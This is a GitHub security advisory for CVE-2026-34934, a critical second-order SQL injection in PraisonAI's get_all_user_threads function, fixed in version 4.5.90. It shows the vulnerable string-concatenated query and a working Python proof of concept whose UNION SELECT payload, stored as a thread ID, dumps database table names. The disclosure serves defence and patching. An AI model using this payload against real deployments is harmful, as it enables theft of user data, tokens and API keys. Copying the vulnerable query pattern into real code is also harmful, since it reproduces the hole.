GitHub Advisoryadvisory · PyPI

GHSA-9cq8-3v94-434g PraisonAI Has Second-Order SQL Injection in `get_all_user_threads`

CRITICAL Published 2026-04-01 Modified 2026-04-06 Official page ↗
Aliases
CVE-2026-34934
Ecosystem
PyPI
Packages
praisonai
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-89
Reviewed
2026-04-01

Affected packages

• PyPI praisonai: < 4.5.90 → fixed in 4.5.90

Description

Summary The `get_all_user_threads` function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via `update_thread`. When the application loads the thread list, the injected payload executes and grants full database access. --- Details File Path: `src/praisonai/praisonai/ui/sql_alchemy.py` Flow: • Source (Line 539): ```python await data_layer.update_thread(thread_id=payload, user_id=user) ``` • Hop (Line 547): ```python thread_ids = "('" + "','".join([t["thread_id"] for t in user_threads]) + "')" ``` • Sink (Line 576): ```sql WHERE s."threadId" IN {thread_ids} ``` --- Proof of Concept (PoC) ```python import asyncio from praisonai.ui.sql_alchemy import SQLAlchemyDataLayer async def run_poc(): data_layer = SQLAlchemyDataLayer(conninfo="sqlite+aiosqlite:///app.db") # Insert a valid thread await data_layer.update_thread( thread_id="valid_thread", user_id="attacker" ) # Inject malicious payload payload = "x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--" await data_layer.update_thread( thread_id=payload, user_id="attacker" ) # Trigger vulnerable function result = await data_layer.get_all_user_threads(user_id="attacker") for thread in result: if getattr(thread, 'id', '') == 'valid_thread': for step in getattr(thread, 'steps', []): print(getattr(step, 'id', '')) asyncio.run(run_poc()) Expected Output: sqlite_master table names printed to console ``` --- Impact An attacker can achieve full database compromise, including: • Exfiltration of sensitive data (user emails, session tokens, API keys) • Access to all conversation histories • Ability to modify or delete database contents

Related

Alias · CVE (1)

  • CVE-2026-34934 PraisonAI is a multi-agent teams system. vulnerability

Weakness · CWE (1)

  • CWE-89 Improper Neutralization of Special Elements used in an SQL Command weakness

References